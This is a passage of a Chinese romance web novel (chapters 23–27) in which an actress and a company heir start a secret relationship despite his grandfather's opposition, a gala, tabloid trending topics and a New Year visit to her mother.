“你没必要跟他说这么多，”程老爷子呵道，“一切全凭他自己选择。”
杨嘉安根本没有选择，他不能影响左榆的事业，可是一想到让她像五年前那样在夜里空等一次，心就被反复拉扯起来，“就这一次，可以吗？”他眸子里的怒意和凌厉全消失了，取得代之的是恳求。
但是，他越是服软，程老爷子就越为自己取得的“成就”开心，就更不松口了。
“为什么一定要这样？”杨嘉安心底生出从未有过的绝望。
“原因我一早就跟你说过了，你就不该置若罔闻让自己陷进去。以后要是造成什么后果，那也是你咎由自取。”
杨嘉安放弃了抵抗，他默默回到自己的房间，从口袋里掏出手机。
手机里有一条未读微信，是左榆发给他的。
【小鱼干儿：晚会结束了吧？你什么时候回来。】
五年前在T大等他的左榆，此刻正在他家等他的左榆，交错相织出现在他的脑海中，随即，一滴眼泪落在了手机屏幕上，又滑到了地上。
【Y：对不起，我又要失约了。】
左榆看着这几个字，出奇地冷静，既然他没有说原因，她也不问，毕竟问了也无法改变结果。她离开了杨嘉安的家，在路边的冷风中坐很久，直到小朵来接她。
第二天一早，左榆就赶往京市，因为第二场晚会的举办地点是京市。参加完这场晚会，她就又要回剧组了。下次再出剧组，大概就是春节的时候。
一路上，左榆的情绪都很低落。到酒店后，小朵跟她同步这两天的行程。
“给咱们安排的彩排是时间是下午，所以一会儿咱们吃完午饭就得赶过去。”
“嗯。”
“姐，是不是发生了什么事？”小朵昨天晚上去接她的时候就想问了。
“没事，就是太累了。”
“那你先睡会儿，中午吃饭的时候我再来叫你。”
“嗯。”
说是要睡觉，但左榆根本睡不着，脑子里一片混乱。
在这种混乱的情绪里，左榆完成了跟WINGS的最后一次合体演出。
演出结束后，左榆不想再住酒店，她让小朵收拾好行李，送她回了自己位于郊区的家。回去的车上，小朵每每看向左榆，嘴角就出现抑制不住的笑容。
到了左榆家门口，左榆让小朵今晚住这里，小朵却连连摆手：“不不不，我就不打扰你们了。”
“你们……”
小朵意识到自己说漏了嘴，快速坐回车上，让司机开车走了。
左榆疑惑但也没多想。她打开门，发现玄关的灯是亮的，在她疑惑自己上次出门是不是没关灯时，一个声音传来：“回来了？”
声音很耳熟，但左榆还是吓了一跳，她朝声音传来的方向看去，果然是杨嘉安。他双手交叉抱在胸前，斜靠在厨房的门口。
“你怎么来了，还进来了？”左
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榆问完，突然联想到小朵今晚的反常表现，瞬间明白了，“好一个小朵。”
“你不要怪她，是我求的她。”杨嘉安说着，缓缓靠近左榆，“上次的事，我很愧疚，知道你回了京市，我马上就跟过来了。”
“没事，生活中总会突发一些紧急的事，而我也不是五年前只知道傻等的偏激小姑娘了。”左榆说着，将行李箱放在玄关处的柜子里，转身要往客厅去时，与站在她身后的杨嘉安撞了个满怀。
杨嘉安顺势将她紧紧拥进了怀里，将头埋在了她的颈窝处，喃喃道：“我以为我能等，但是越来越发现自己等不了了，小鱼，我们在一起吧。”
人生总是不完美的，五年前的遗憾已经无法弥补，未来也是不可捉摸的，没人知道明天会发生什么，如果计划好的事情在未来无法实现，那我们可能会在将来永远遗憾没有把握当下。
上次被迫留在外婆家的那晚，杨嘉安想了很多，如果现时的他连跟左榆见面都要受到牵制，他害怕两年后会因为各种原因无法跟左榆在一起，他不想再有遗憾，不希望在未来后悔。
“是发生什么事了吗？”左榆感觉杨嘉安的情绪不是很对。
“想跟你在一起，偷偷的也可以，我不会影响你的工作。”
不知怎么的，左榆觉得此刻的杨嘉安像是一个要糖吃的孩子，她从没有见过他的这一面。
“到底发生了什么事，能跟我说说吗？”
即便左榆用的像是哄孩子的语气，但杨嘉安还是没打算跟她说外公的事，他不希望这件事给她带来心理上的负担。
“没什么事，就是很愧疚，很想你。”杨嘉安说着，缓缓松开了左榆，咧了一个笑脸给她。
他的笑容让左榆安心了点，“其实我想说，我觉得我们从M国度假回来后的相处跟谈恋爱没什么区别。”她这段时间，确实是吃到了恋爱的糖。
杨嘉安：“不一样。”
左榆：“哪里不一样。”
“没有一个正大光明的理由。”
“要理由干吗？”
“比如，做这件事。”杨嘉安说，双手扶着左榆的肩膀，俯身吻住了左榆的唇，轻轻的，一次，两次……
见左榆没有回应，他吻得稍用力了一些，然而，左榆还是脑子一片空白地傻站着，两只手紧张地不停抓着裤子，人也摇摇晃晃，感觉随时就要倒了。
杨嘉安顺势将她抵在了墙边，有了支撑，他吻得更认真了些。
左榆尝试回应他，虽然只是轻轻一下，足以让两人之间的这个吻变得更加激烈。
与上次在海边的初吻来说，这次的吻是漫长的，直到左榆感觉有些缺氧，两人才分开。
“所以，我们算是正式在一起了吗？”
“你说算就算。”杨嘉安微笑着，一只手轻轻触碰了左榆的脸颊，“你的脸很烫。”
“你的脸也没好到哪里去。”左榆不甘示弱，刚想碰一下杨嘉安的脸，却被他扣住了手，又拉进了暖暖的怀抱中，“我们就这样一直站在这里吗？不坐一下吗？”
“你说什么？”
“我说，去沙发，坐！一！下！”
杨嘉安偷笑，突然将左榆拦腰抱起，“那就去沙发坐一下。”
24. 第 24 章
他们依偎在客厅的沙发上看电视、聊天，左榆盘弄着杨嘉安的手，这双在五年前就吸引她的手，现在她也能如此放肆地放在手心了。
“好玩吗，我的手？”杨嘉安笑道。
“不是好玩，是好看。你记得那年在我外婆家，我妈和我外婆带我去你奶奶家，让你帮我补习的那天吗？那天，我妈给你包了一个红包，你奶奶把红包塞到你手里的时候，我就注意到了你的手，很好看的一双手。那天是我们第二次见面。”
“第二次？你确定吗？”
左榆原本确定，但被他这么一问，倒有些犹豫了，“第一次是你送饺子给我外婆，第二次就是我妈带我去你奶奶家，没错吧？”
杨嘉安无奈地笑了笑，宠溺道：“嗯，你说是那就是。对了，下周诺辉的年会，你好像也要参加。”
“啊？”左榆坐直了身体，她完全没听小朵提过这个行程，“你确定吗？楠姐没跟我说有这个行程呀。”
她的话刚说完，手机就响了一下，有新的微信消息。
杨嘉安欠身拿起桌上的手机，递给左榆，说：“喏，现在有了。”
左榆点开手机，果然是楠姐发来的微信语音。
【楠姐：“下周诺辉的年会要去参加一下。剧组那边的时间我已经调节好了，小朵记得把诺辉的年会同步到行程单里。关于年会的具体信息，我一会儿发到群里。”】
【小朵：收到！】
“是你安排的？”左榆疑问。
杨嘉安笑道：“也不算是，你是诺辉的代言人，按照惯例本来就是要出席首年的年会，只是好像安排活动的人把这事给漏了，后面我补上了而已。”
“我还没参加过企业年会，到时候需要做些什么吗？”
见左榆脸上还真显露出几分紧张，杨嘉安握住她的手，扣住十指，说：“不需要特别做些什么，不要紧张，像上次发布会结束后的晚宴一样，吃吃喝喝就行。我只是不想错过任何一个能跟你见面的机会。”
左榆窝进杨嘉安的怀里，听着他的心跳，缓缓说道：“你知道吗，在我复读的那一年，我小心翼翼地维持我们的关系，我不敢靠得太近，不敢问得太多，怕你觉得烦；我也不敢疏离得太远，怕你渐渐把我给忘了。那个时候我就在想，我什么时候能肆无忌惮地跟你撒撒娇，像别的恋爱中的女生那样。”
听她说完，杨嘉安深呼吸了一口气，将左榆搂得更紧了。
“对不起啊，”他说，“是我没做好，从现在开始，你想怎么撒娇都可以，也不用去像别人，你做你自己就好了。”
那时的杨嘉安，还不知道如何维护一段恋爱前奏。学业很繁重，他白天能闲下来的时间很少，但在每一个深夜，他都会发疯地想念左榆，但他不敢表露半分，害怕会影响她的学习。
他没有跟左榆提过林毓敏也读T大，是因为那时候的他，心里已经只有她，不提，是因为没必要。显然，经过时间的考证，他这个想法并不是很成熟，否则他不会让左榆伤心难过。
这是杨嘉安第一次留宿左榆家，他睡的客房。两人之间除了那个吻，没有再发生别的事，但彼此的心更加贴近了。
因为第二天还有工作上的事要忙，杨嘉安一早就要离开。准备出门前，左榆还没醒，他本打算悄悄离开，但又担心不辞而别会让左榆不开心。再三思考后，他还是轻轻推开了左榆的卧室门。
“小鱼。”他坐在床边，拉着她的手轻声唤了唤。
“嗯？”左榆处于半梦半醒之间。
杨嘉安俯身，浅浅吻了她的额头。
“我先走了，要赶飞机回海市。早餐我准备好了，你一会儿记得吃。”
“好。”左榆嘴上答应着，两只手却环住了杨嘉安的手臂。
“你这样的话，我就走不了。”
左榆没反应，像是又睡过去了。杨嘉安只好轻轻抽出手臂，帮她盖好被子后才离开。
半个小时后，左榆才醒来，她揉了揉眼睛，依稀想起杨嘉安之前好像进来跟她说了几句话，她只记得他说自己要回海市，其他的就想不起来了。
她走出卧室，果然没看到杨嘉安，但是看到餐桌上放着早餐，幸福感顿时填满了她的心。她几步跑到卧室拿来手机，给桌上的食物拍了张照片，又花了几分钟P照片，最后浅浅发了一条朋友圈，配文只有两个字：嘿嘿。
很快，杨嘉安评论了一句：“傻笑什么？”
正当左榆准备回复时，杨嘉安又删掉了评论，并且给左榆发来了一条微信。
【Y：睡醒了？】
【小鱼干儿：嗯。你怎么把评论给删掉了？】
【Y：担心被共同好友发现什么端倪。】
【小鱼干儿：做贼心虚。偷笑.JPG你现在到哪儿了？】
【Y：在去机场的路上，大概还有二十多分钟到机场。】
【小鱼干儿：一路平安。】
【Y：嗯，下了飞机给你信息，你好好休息，我们下周见。】
接下来的几天，左榆着实是好好休息了一番，同时每天都在期待诺辉年会。杨嘉安那边显得就要繁忙多了，除了公司日常的工作之外，他还特地去检查了年会相关的预备工作。
在举办年会的前一天，外公又把他给叫了回去，直觉告诉他没好事，果不其然，他回到家时，看到客厅里坐着客人。
“回来啦，过来见见人，这是你许伯伯，这是许伯伯的女儿许玖。”杨嘉安刚踏进家门，外公就招呼道。
杨嘉安彬彬有礼地跟大家问了好。
“坐吧。”外公说道，”许玖比你小两三岁，刚从国外读完书回来，你们年轻人之间的话题多，平时有时间多聊聊。”
杨嘉安当然明白外公的言外之意，碍于有外人在，他不好驳了外公的面子，只好点头答应：“好的，外公。”
那位许伯伯满脸赞许地打量杨嘉安，像他这样的青年才俊的的确确是做女婿的最佳人选，况且杨嘉安这副外表，在整个圈子里都找不出第二个。
坐在许伯伯旁边的许玖面容姣好，举手投足之间气质满满，没有一些富家女身上的傲慢，显得非常乖巧。
杨嘉安其实是知道她的，因为她刚进娱乐圈发展，但是各种通稿已经铺了好几波，但凡稍稍关注娱乐圈的人，都知道她的名字。大概是因为她出身太过显贵，网友显然并不买账，认为她不过是一个徒有外表的花瓶，靠着家里的资本进娱乐圈玩玩罢了。
外公与许伯伯又闲聊了一阵，过程中，杨嘉安和许玖都没怎么说话。在送他们离开后，杨嘉安刚想回房间，外公却说了一句：“明天的年会，我也去。”
杨嘉安心一惊，停下了脚步，外公从前不爱参加公司的年会，往年都没有出席过，如果他去的话，也
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意味着杨嘉安和左榆在年会上大概不能接触太多。
“许玖也去，她做你的女伴。”
外公说前一句的话时，杨嘉安只是沉默，但听到许玖要做他的女伴，瞬间恼怒起来：“我不需要女伴。还有，外公你不是不喜欢娱乐圈的人吗？”
“那能一样吗？人家进娱乐圈只是爱好，不图在娱乐圈赚钱。”
杨嘉安不想跟他掰扯太多，又重复了一句：“总之我不需要女伴，年会上我有自己的事要忙，无暇顾及她。”说完，他不等外公说话，径直上了楼。
最近本就因为工作多很疲劳，加上这事，杨嘉安感觉心很累。
【小鱼干儿：我明天上午到海市，明天晚上就能见面啦！】
左榆发来了微信。隔着屏幕，杨嘉安能感受到她心里的明媚和期待，心里的烦闷又增加了几分。
【Y：嗯，明天晚上见。】
左榆似乎很少这样期待一个行程的到来，从京市前往海市的路上，她只要想到马上就能见到杨嘉安，上扬的嘴角压都压不住。
晚上七点，左榆和小朵在诺辉工作人员的带领下来到年会现场，虽然参加年会的员工知道她会来，但是在她出场的时候还是小小轰动了一下。工作人员引领左榆到餐桌就坐，一路上所有的手机都在对着她拍摄。
左榆落座的席位在主桌旁边，她走过来时不敢张望，只好在入座后偷偷环顾四周，但没有发现杨嘉安的身影。就在她准备发微信问杨嘉安有没有到时，门口处又传来了一阵哗然，她猜想大概是什么重要人物来了，没准就是杨嘉安。
果然如他所料。几个西装革履的人走了进来，杨嘉安就在其中。走在最前面的是诺辉鼎鼎大名的程老爷子，也就是杨嘉安的外公。杨嘉安跟在他身后，与杨嘉安并肩走的是一个女生，左榆认识，是娱乐圈新人许玖，关于许玖的强硬背景，她也有所耳闻。
不知道为什么，左榆看到他们一起出现，心里总觉得怪怪的。
“听说左榆今天也来了？”许玖刚坐下，就拉了拉杨嘉安的衣袖，微微靠近他身边，小声问道。
杨嘉安正愁不知道找什么借口正大光明去跟左榆说说话，听她这么一问，他当即答道：“嗯，她就坐在那边，你想要去跟她打个招呼吗？”
“好呀！你带我可以吗，我超喜欢她。”
杨嘉安站起身，“走吧。”
程老爷子瞥了他们一眼，露出一抹笑。
左榆心里正纳闷杨嘉安跟许玖是什么关系，却见两人正朝她走来，顿时有些莫名心慌。
“嗨，小鱼，你好！”许玖甜甜地跟左榆打招呼。
左榆的注意力都在杨嘉安身上，后知后觉才回了一句：“噢噢，你好。”
“我超喜欢你，喜欢你们那个团。”
“谢谢。”左榆像是被许玖的甜美感染，也用甜甜的嗓音回应了一句。
“可以跟你拍张照片吗？”许玖问。
“当然可以。”
“你帮我们拍。”许玖说着，非常自然地将自己的手机塞进杨嘉安的手里。
左榆看到这个动作，心里一紧，但拍照时不得不挤出笑容来。
“拍好了。”杨嘉安拍完照，走到许玖和左榆中间，将手机还给许玖。
趁许玖查看照片时，他缓缓靠近左榆，在半个身体的遮挡下，轻轻勾了勾左榆的手指。
25. 第 25 章
左榆怕被人看到，连忙缩了缩手，拉开了与杨嘉安之间的距离。
“没想到你还挺会拍照。”许玖看照片时夸赞了杨嘉安一句。这让左榆心里更不舒服了，但脸上还是要保持微笑。
年会正式开始后，先是一堆领导致辞，流程进行到差不多时，左榆被邀请上了台，依旧是说一些客套话以及场面话，这些她都熟。下台时，她的余光瞟到许玖，看到许玖两手抓着杨嘉安的衣袖开心地说着话，像是在分享什么好玩的事。但她似乎只顾看许玖，没有感觉到杨嘉安的眼光始终追随着她。
那么期待的一次见面，没想到会是这种局面，左榆心里有说不出的失望，加上宴会厅的暖气太足，她感觉待久了脑子涨涨了，于是在开席后没多久，她借机去洗手间去透透气。
她刚进洗手间，就听到里面有两个人在对话。
“那个许玖，是以什么身份来我们公司的年会啊？”
“这还用说吗，你看老爷子多稀罕她，肯定是想她做小杨总夫人呗。”
“可是小杨总不是喜欢左榆吗，之前热搜都上过几次了。”
“你傻啊，营销而已，你还当真啊，小杨总怎么可能真的会喜欢左榆，左榆除了在娱乐圈人气高点，家世方面哪一点配得上小杨总？”
“也是，有钱人都喜欢找门当户对的。”
……
左榆没有继续听下去，悄悄退了出来，心情变得更差了。她确实是没有好的家世，连进娱乐圈都是为了钱。
“姐你没事吧，怎么脸色突然变得这么差？”小朵不放心左榆独自出来，所以在她出来没一会儿也跟了出来。
左榆摇摇头：“我没事，进去吧。”
小朵看了看时间，说：“距离结束还有一个多小时，你要是不舒服，我就去跟对接人说一下，我们先回去？”
“这样不太好，诺辉的高管都在，连程老爷子也在，我们这样做会显得不尊重人。我没事，只是里面暖气太足了，憋得慌。”
“好吧。”
两人回到宴会厅，东西没吃多少，不停有人过来跟左榆打招呼要合照，有些普通员工不敢上来要合照，只敢坐在席位上拍。
“好家伙，许玖和小杨总一起上热搜了。”小朵偷偷在左榆耳边吐槽了一句，像小朵这样的艺人助理，手机基本不能离手，很多工作安排都在线上接收，她刚查看一条未读信息时，就看到了微博的热搜推送。
“我看看。”
原来是许玖发了刚刚与左榆的合照，但文案却艾特了杨嘉安，引发了网友的各种猜测。有人脑补这是许玖对左榆的宣战，有人说左榆可能是三，当然还有一些特别反感许玖的网友认为这是许玖在自我炒作……这种程度的八卦自然是能秒上热搜榜。
“我真服了，自己想营销别带我们啊，她为什么不发她跟小杨总的合照？”小朵忿忿不平，“粘上这种热搜就没好的……”
“你别这样说，人家还坐在那里呢。”左榆阻止她继续说下去。
距离结束时间还有半小时的样子，程老爷子一行人离开了宴会厅，包括杨嘉安和许玖。左榆特地看了看手机，并没有看到杨嘉安的留言，所以他就这么一言不发就走了？
左榆生着闷气，一直坐到年会快结束，诺辉的工作人员贴心来询问左榆要不要提前走，因为担心结束的时候人比较多，会造成不便。左榆早就坐不住，巴不得早点离开。于是，在工作人员的安排下，左榆和小朵坐上了回酒店的车。
她们刚到酒店，杨嘉安就给左榆打来电话。左榆心中的闷气虽还没消，但接电话的速度丝毫没有受到影响。
“你现在在哪儿呢？”杨嘉安问。
“刚回到酒店。”
“一会儿我让一个朋友去接你，我把他的电话发给你，你存一下。他快到的时候会给你打电话。”
“接我去哪儿？”左榆一脸懵。
“来他家，我在他家等你。”
挂掉电话后，杨嘉安将酒店的地址发给了秦晖。
“收到啦，那你先在这里等着，保证给你把人安全带到。”秦晖说罢就出门了。
半个小时前，杨嘉安跟外公一起离开年会现场，原本打算只送他到门口，然后自己回去找左榆，但外公说什么都要杨嘉安送许玖回家。万幸的是，秦晖突然给他打来电话，说他刚回到海市的家，想约杨嘉安一起吃饭。外公脸上虽不悦，但还是让杨嘉安去了。
杨嘉安二话没说，直奔秦晖家。
“不是，你来我家干吗呀！”秦晖见杨嘉安出现在家门口，吐槽道，“我家里没菜又没酒，当然是去外面呐，难道你想做饭给我吃？”
“下毒给你吃还差不多。”杨嘉安不请自入。
秦晖紧跟在他身后，“你到底想干吗，刚电话里不是说得好好的，要给我接风洗尘？”
“我请你吃饭，你帮我一个忙。”
“什么忙？”秦晖警惕地看了一眼杨嘉安。
“去帮我接一个人过来。”
“接谁？”
“我女朋友。”<
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p>“WTF！你什么时候有女朋友了，是谁？我认不认识？”秦晖按捺不住，马上八卦起来。
“左榆，我女朋友。”
“可以啊，你还真搞到啦！”秦晖欣慰地拍了拍杨嘉安的肩膀。
“注意你的用词。”杨嘉安拍掉他的手，又将他外公不喜欢左榆，要给他介绍其他女生的事说给了秦晖听。
秦晖是一个骨子里充满反叛精神的人，从小到大，越是父母不让做的事他偏要做，所以一听杨嘉安这话，也不问当中缘由，就自动战队到了杨嘉安这边。“说吧，去哪里接嫂子。”
后面就是杨嘉安给左榆打电话说了这件事。
秦晖出门后，杨嘉安才想起有件事忘了嘱咐他，刚想要给他打电话时，楼下已经响起了他那台超跑的马达声。杨嘉安就是担心他开超跑过去接人太吸睛，想叮嘱他低调一点，但还是晚了一步。
所以，当秦晖开车超跑到酒店接左榆时，吸引了在场几乎所有人的注意。
左榆认识秦晖，只是没想到杨嘉安说的朋友会是他。秦晖家里开的那家娱乐公司在娱乐圈是叫得出名号的，小朵看到秦晖的那一刻，将左榆拉到一边，畏畏缩缩说道：“这样真的没问题吗？我怎么感觉不太妥呢，这么多人看着。”
“人都走到我们面前了，还能怎么办。”左榆小声嘀咕。
“嫂……”
“啊啊啊小朵，那我就先走了，一会儿回来。”
如果不是左榆拦着，秦晖一句“嫂子”就要叫出来了。
左榆说完话，逃似的跑了出去。
秦晖紧跟在后：“你等等我。”
车上，秦晖想八卦一下两人的关系，问左榆：“你跟嘉安，谁追的谁？”
谁追的谁，左榆好像还真不知道该怎么回答。
秦晖见左榆不说话，以为她对自己不放心，继续说道：“你放心，我保证不透露出去，我懂的。嘉安难得谈一次恋爱，我必须为他保驾护航。”
一路上，秦晖话不间断，旁敲侧击地打探左榆和杨嘉安之间的事，左榆只是简单敷衍，没有透露很多。
他们到家时，杨嘉安将将准备好了一桌火锅，这倒是让秦晖有些意外。
“神了，我在国外的时候就想吃火锅。”秦晖说着已经上了桌，迫不及待拿起筷子就要吃，“人我已经给你带来了，家里哪间是空房间你也知道，你俩自便。”
杨嘉安也没跟他客气，拉着左榆就进了客房，顺手关上了房门，不给左榆反应的机会，人就抱了上来。
26. 第 26 章
“我没想到外公也会来，冷落你了，不要生气。”
左榆这一晚上的闷气在杨嘉安这句话说出来后马上就消了，只是想到许玖，想到在洗手间里听到的那些话，心里还是有所芥蒂。她推开杨嘉安，找了张椅子坐下，“听说有钱人喜欢门当户对的，这么说的话，你跟她挺般配的。”
杨嘉安知道她这是闹小脾气了，但是她越是这样就说明她越在乎他，答了她一句：“你外婆家跟我奶奶家是邻居，我们又怎么不算是门当户对呢？”
左榆撇了撇嘴，没有说话。杨嘉安坐到她面前，握着她的手，认认真真说道：“不要去管别人，只要看着我就好了。也许有一天，你可能会发现我没有你想象中的那么好，你可能会对我失望，如果这一天真的到来了，你可以再给我一点点时间吗？我会更努力去做得更好。”
不知为何，左榆似乎看到了杨嘉安眉眼中的淡淡愁绪，以为他是在工作上遇到了什么问题，反过来安慰他说：“在同龄人中间，你已经是佼佼者了，你已经做得很好，很成功。”
杨嘉安握紧左榆的手，满目柔情，“有你在，才叫成功。”
“那再来抱一下。”左榆微笑，朝杨嘉安张开双手，主动抱住了他。
“你晚上都没吃什么东西，现在饿不饿，要不要去外面吃火锅？”杨嘉安问。
“你怎么知道我晚上没吃东西？”
“因为我一直都有在关注你，但是你几乎就没怎么看过我。”
左榆嘿嘿了两声化解自己的尴尬，确实，她的注意力好像一直都在许玖的身上，“大晚上吃火锅，楠姐知道的话要骂我了，最近休息就已经胖了，马上就要回剧组，再不好好控制，导演也要骂我了。”
秦晖火锅吃到一半，看到两人从房间里出来了，调侃道：“这么快啊？”
杨嘉安没搭理他，和左榆一起坐在了客厅的沙发上。
“我去，这是什么东西？”秦晖一手拿着筷子，一手拿着手机突然跳了起来，“左榆夜会星曜二少爷秦晖，这他妈谁给我起的标题，像话吗？”
左榆一听，也惊慌起来，忙拿出手机，才发现有几条未读消息和两个未接听语音电话，都是小朵发来的。她赶紧给小朵打了过去。
一番询问后，她了解到，是有几个粉丝一直蹲在左榆所住的酒店外面，恰好把她上秦晖车的画面拍了下来，有网友认为他们是在私会，也有网友分析左榆是不是想跳槽到星曜，总之讨论度居高不下。
“你得早点回酒店，越早越好，不然还不知道网友会脑补出什么戏码来。”杨嘉安焦急地说道。
“那还需要我送她回去吗？”秦晖擦了擦嘴，已然做好了随时出门的准备。
“要，而且必须是你送，最好是被人拍到，这样你们见面的时间很短，可以说是短暂聊了聊天，不碍事。”
“行，那我们快走。”秦晖开始催促左榆，他闹过那么多次绯闻，唯有这次急于澄清。
才见面就要分开，左榆心中非常不舍，下次见面也不知道是什么时候。杨嘉安读懂了她的心，抱了抱她，“很快会见面的。”
秦晖还是开的那台拉风的超跑送左榆回的酒店，他谨记杨嘉安的话，为了引起别人的注意，特地将左榆送到酒店的大堂。完成任务后，他回到家，见杨嘉安满目愁容坐在落地窗前发呆，就去吧台倒了两杯酒。
“她知道你外公的想法吗？”秦晖说着，将一杯酒送到杨嘉安面前。
杨嘉安接过酒，摇了摇头，“怕她多想，没敢让她知道。”
“那这样也不是办法呀，要不先斩后奏？”秦晖虽然有过很多女朋友，准确来说是女伴，但他并不是很懂感情。在他的想法里，成年人你情我愿就能在一起，厌烦了就分开。
“什么是先斩后奏？”杨嘉安问。
“就是先造人，有了外孙，你外公还会不同意吗？”
“我就不该对你的话抱有期待。”杨嘉安无语至极。
“我真搞不懂你们，你说不要影响她的事业，但是你们要真结婚生子了，她还需要出去工作吗？都是迟早的事，早实现你也早幸福呀，感情的事哪有那么多弯弯绕绕，我看你就是想得太多，既要又要，世界上哪有那么多两全其美的事情。”
杨嘉安向来不认同秦晖对待感情的方式，但是他不得不承认，秦晖这次说的话确实有几分道理。“不说这个了。”杨嘉安举起酒杯碰了碰秦晖的酒杯。
酒店那边，左榆一回到房间，小朵就喋喋不休起来：“奇怪，今天晚上的事，公司那边竟然没有一个人来兴师问罪，楠姐也没出声，只是在你回来前跟我说了一句，说是过两天要过来看我们。”
确实反常，左榆寻思，如果是在之前，楠姐早就打电话来质问她了，这次竟然集体不吭声。“他们不问，那我们也当没事发生，到时候看楠姐怎么说。”
“那姐你早点休息，明天一早就要赶去剧组。”
“嗯，你也休息去吧。”
期待了很久的一次见面，就这样匆匆结束了，左榆心里有些失落，但也明白这是没办法的事。<
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第二天，左榆回了剧组，又开始了不规律的拍摄生活。在她回到剧组的第三天，楠姐果然来剧组了。
在左榆的休息室里，楠姐特地支开了小朵。
“我以前还不知道你跟秦晖认识，你没跟我说过，你们关系很好吗？”楠姐开门见山，没有绕弯子。
“都是圈子里的人，多几个人介绍就认识了。我们那天……”左榆本想解释她并没有跟秦晖聊什么，更没发生什么，楠姐却打断了她的话。
“我今天不是来兴师问罪的，你们之间聊了什么可以不用告诉我。”
“那你今天来是……”左榆并不认为楠姐只是单纯过来看她。
“我这两天跟公司讨论了一下关于合同里谈恋爱这部分的约束，公司向来是很人性化的，不会完全限制艺人的感情，只是从事业发展的角度对艺人进行必要的提醒，毕竟公司签了你们，还是要为你们的事业做长期规划，不希望你们因为个人感情影响事业的发展。”
左榆不知道楠姐的态度为什么发生了两级反转，明明之前她跟杨嘉安第一次上热搜的时候，楠姐话里话外的警醒让她觉得她只要谈恋爱，事业就会完蛋。
“楠姐的意思是，我可以谈恋爱了？”左榆试探性问道。
“我们公司每位员工、每位艺人都有谈恋爱的权利，你当然也有。”
楠姐此刻的态度着实让左榆匪夷所思，总不能是杨嘉安跟公司那边说了什么吧。
“行，那我知道了，还有其他事吗？”
“没了，那你好好在剧组拍戏，我下午还要去见个导演。”
“就没其他事了？”左榆还是不敢相信，楠姐特地过来只是为了告诉她，她可以自由谈恋爱了。
“没了！你放心吧，不是要把你给卖了。我走了。”
看到楠姐离开后，小朵迫不及待跑了进来，“楠姐说了什么？”
“她说我可以谈恋爱了。”
“啊？”小朵同样摸不着头脑。
这天晚上不用熬大夜，左榆回到酒店后就将楠姐来剧组找她的事说给了杨嘉安听，还让杨嘉安帮她分析分析为什么会发生这样的转变。
杨嘉安似乎一眼就看到了问题的所在，“她可能担心你要跳槽去星曜，必定要想方设法留住你。”
左榆恍然大悟，她一直没往这方面想。
【小鱼干儿：我现在能谈恋爱了，你想公开吗？】
左榆咧着嘴发出这句话。
可是，她等了很久，杨嘉安都没有回复她。
27. 第 27 章
左榆见杨嘉安久久没有回复，想缓和一下气氛。
“我开玩笑的，你不别在意。”这几个字刚打出来，还没来得及发出去，杨嘉安终于回复了。
【Y：现在还不行。】
短短五个字让左榆感到一阵羞愧，也后悔自己头脑一热问出那样的问题，于是，以一句“没关系，我开玩笑的”草草结束了聊天。
杨嘉安没有解释原因，左榆也没有问。到这一刻她才意识到，原来自己在面对这份感情时，还跟五年前那样小心翼翼。想到这里，她顿感一阵悲哀，由此生出了芥蒂。
尔后的一段时间，左榆忙着拍戏，寄情于工作中，几乎没有主动联系过杨嘉安，当中，杨嘉安联系过她，但都被她几句话敷衍过去，转而又继续埋头工作当中。
转眼到了年末，春节假期，剧组难得放几天假，左榆给小朵也放了假，准备自己独自回广市，陪妈妈好好过个年。
左榆是除夕当天才回的广市，妈妈不顾她的反对，坚持去机场接她。她们从机场回到家时，已经是万家灯火。
妈妈从冰箱里拿出白天包好的饺子，笑眯眯说道：“咱娘俩晚上就吃顿饺子吧，是你最爱吃的馅儿。”
“行啊，不过你少煮点，我怕我吃太多又长胖。”左榆放好自己的行李，环顾了一下四周，发现这房子和之间比起来要立整了不少，之前漏水的墙面也都修好了，“妈，你平时在家别老是干重活，房子要是需要修葺，你找工人师傅来干。要实在修不好，咱们就换套房子，你可别因为干活累着自己，再把自己弄受伤了。”
妈妈在厨房里边煮饺子，边回应左榆：“我没弄，这下都是嘉安弄的。”
“什么？”左榆怔了一下。
“嘉安每次来广市出差，都会来看我，又是买东西又是修家电，还帮我收拾房子，我以前只认为他是学习好、心地好，没想到还这么细心……”妈妈说话时，眼神中都是对杨嘉安的赞许。
左榆更是呆住了，这些事，杨嘉安从来没跟她提过，原来在她看不见的地方，杨嘉安默默做了这么多，她的心中不免涌出一阵暖意，又为这些日子对他的冷漠感到愧疚。
吃完饺子，左榆和妈妈一起去街上转了转。平日里的广市热闹，春节期间却是格外的冷清，人也比以往少了不少。这样也好，两人能自在地散散步，聊聊生活和工作。
“你跟嘉安，现在是什么情况？”妈妈突然提到杨嘉安，“嘉安是个好孩子，我信得过。他比你大，年龄大会疼人。”
左榆不知道该怎么跟妈妈说她跟杨嘉安之间的关系，这段时间，她也猜测了各种杨嘉安不愿意公开恋爱的原因，她是个聪明的人，主观因素不存在，就只能是客观因素，思来想去，唯一的答案就是杨嘉安的家人，大概就是他的家人不喜欢她，不愿意接纳她。
“成年人的恋爱好像没那么简单。”左榆苦笑，如果是在大学时期，他们应该也可以放肆一次吧，可现在彼此的身份，显然已经禁锢了他们。
“没事，”妈妈拍了拍左榆的手背，“随缘就行，不必强求。”
左榆感觉到妈妈真的变了很多，从前的她总是那么强势，家里的大事小事都要听她的，如果是从前的她，一定会跟左榆输出一大堆道理，并且要求左榆好好把握杨嘉安。如今，她竟然只是说了句“随缘”。
左榆紧紧挽住妈妈的胳膊，经历了那么多事，她越来越珍惜跟妈妈相处的每一秒。
从外面散步回来，妈妈洗洗睡了，左榆睡不着，坐在阳台上发呆，她在想是不是应该给杨嘉安打个电话，感谢一下他对她妈妈的照顾，可是又怕他此刻跟家人一起，怕打扰了他们的兴致。
阳台外面的街道静悄悄，突然，她的手机响了起来，是杨嘉安打来的电话。
“在干吗呢？”
电话接通后，左榆还没说话，杨嘉安就开口问道。
“没干吗。”
“在广市吗？”
“嗯。”
“年后什么时候开工？”
“初六。”
“还在生气吗？”杨嘉安这段时间不是没感觉到左榆对他的冷淡。
左榆没有回答这个问题，顿了顿后，说：“谢谢你经常来看望我妈妈，她今天都跟我说了。”
“我们之间还需要感谢吗？”
左榆没说话。
杨嘉安继续说：“年后我找个时间去剧组看你。”
“不用了，”左榆当即拒绝，“万一被人看到，又传到你家人耳中就不好了。”
这次是杨嘉安沉默，他就知道就算他什么都不说，她也能猜测出端倪来。
“小鱼，”冗长的沉默后，杨嘉安缓缓开口，“再给我一点时间好吗，我之前跟你说过，如果那天你发现我跟你所认为的那个我有出入，你再给我点时间，我会去做好的，可以吗？”
